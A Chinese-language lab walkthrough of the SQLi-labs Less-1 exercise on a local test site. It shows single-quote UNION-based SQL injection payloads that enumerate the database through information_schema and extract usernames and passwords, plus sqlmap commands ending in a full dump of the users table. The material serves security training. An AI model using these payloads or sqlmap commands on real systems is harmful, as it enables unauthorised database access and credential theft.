1. 思路🚀
本关的SQL语句为:
sql
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
- 注入类型:字符型(单引号包裹)
- 提示:参数
id需以'闭合

2. 手工注入步骤🎯
我的地址栏是:http://localhost:8081/Less-1/,只需要将下面的sql语句粘贴即可。
2.1 正常请求⚡
url
?id=1

说明:测试回显情况
2.2 判断字段数⚡
url
?id=1' order by 4 --+
':闭合前引号order by 4:探测字段数(报错说明字段数=3)--+:注释后续语句
2.2.1 原始 SQL 语句(正常情况)
如果输入 id=1,PHP 代码会构造:
sql
SELECT * FROM users WHERE id='1' LIMIT 0,1
'1'是合法的字符串,SQL 语句正常执行。
2.2.2 改变后SQL语句(异常情况)
你的输入 id=1' order by 4 --+,PHP 代码拼接后:
sql
SELECT * FROM users WHERE id='1' order by 4 --+' LIMIT 0,1
'1'→ 原 SQL 的字符串部分'(你额外添加的单引号)→ 闭合字符串 ,使id='1'变成id='1' '(语法错误)order by 4→ 注入的 SQL 代码--+→ SQL 注释符,注释掉后面的' LIMIT 0,1,避免语法错误
2.2.3 最终执行的 SQL
由于 --+ 注释了后面的内容,实际执行的是:
sql
SELECT * FROM users WHERE id='1' order by 4
'的作用 :提前闭合id='...'的字符串,使后面的order by 4成为 SQL 语句的一部分,而不是字符串的一部分。

2.3 确定回显位⚡
url
?id=-1' union select 1,2,3 --+
-1:使前查询无结果union select:联合查询回显位
2.3.1 为什么常用id=-1 与 union select 搭配?⭐
是因为union select要求前一个查询返回空,才能显示我们注入的数据:
sql
SELECT * FROM users WHERE id = '-1' UNION SELECT 1,2,3--+
id=-1不存在 → 前查询返回空 → union select的数据直接显示。
id=1存在 → 前查询返回数据 → union select的数据被忽略(只显示 id=1的结果)。
2.3.2 为什么回显的位置在第二列和第三列⭐
这是因为 页面的 PHP 代码只显示了 username 和 password 字段 ,而 union select 的结果必须和原查询的列数匹配,所以 2 和 3 对应的是页面回显的位置。
查看 PHP 代码:
php
echo 'Your Login name:'. $row['username']; // 第2列
echo 'Your Password:' .$row['password']; // 第3列
$row['username']→ 对应UNION SELECT的第 2 个字段(2)。$row['password']→ 对应UNION SELECT的第 3 个字段(3)。$row['id'](第1列)没有被显示,所以1不会出现在页面上。


2.4 获取基础信息⚡
url
?id=-1' union select 1,database(),user() --+
database():当前数据库名user():当前用户

2.5 获取表名⚡
url
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
group_concat():合并多行结果information_schema:系统数据库information_schema.tables:系统表table_schema:数据库名称table_name:数据表名称

2.6 获取字段⚡
url
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' --+
information_schema.columns:系统列(字段)column_name:字段名称

2.7 获取数据⚡
url
?id=-1' union select 1,group_concat(username),group_concat(password) from users --+
或者
url
?id=-1' union select 1,group_concat(username),group_concat(password) from security.users --+

2.8 参数汇总表⭐
| 参数 | 作用 | 示例 |
|---|---|---|
' |
闭合引号 | id=1' |
order by |
判断字段数 | order by 4 |
--+ |
注释符 | --+ |
union select |
联合查询 | union select 1,2,3 |
group_concat() |
合并结果 | group_concat(table_name) |
information_schema |
系统数据库 | from information_schema.tables |
table_schema |
数据库名称 | table_schema='security' |
table_name |
数据表名称 | table_name='users' |
column_name |
字段名称 | group_concat(column_name) |
3. SQLMap工具测试🎯
url地址换成自己的,后面一定要加上id=1,比如:http://localhost:8081/Less-1/?id=1
bash
# 检测注入点
python sqlmap.py -u "http://localhost:8081/Less-1/?id=1" --batch
# 爆数据库
python sqlmap.py -u "url" --dbs --batch
# 爆表名
python sqlmap.py -u "url" -D security --tables --batch
# 爆列名
python sqlmap.py -u "url" -D security -T users --columns --batch
# 爆数据
python sqlmap.py -u "url" -D security -T users -C id,username,password --dump --batch
命令1截图:

命令5截图:

SQLMap参数表⭐
| 参数 | 功能 |
|---|---|
--batch |
非交互模式 |
--dbs |
枚举数据库 |
-D |
指定数据库 |
-T |
指定表 |
-C |
指定列 |
--dump |
导出数据 |
4. 总结🏁
- 注入类型:字符型单引号闭合
- 核心步骤:判字段→找回显→爆库→爆表→爆数据
- 工具对比:手工注入适合学习原理,SQLMap适合快速验证
声明:本文仅用于安全学习,严禁非法测试! ❗❗❗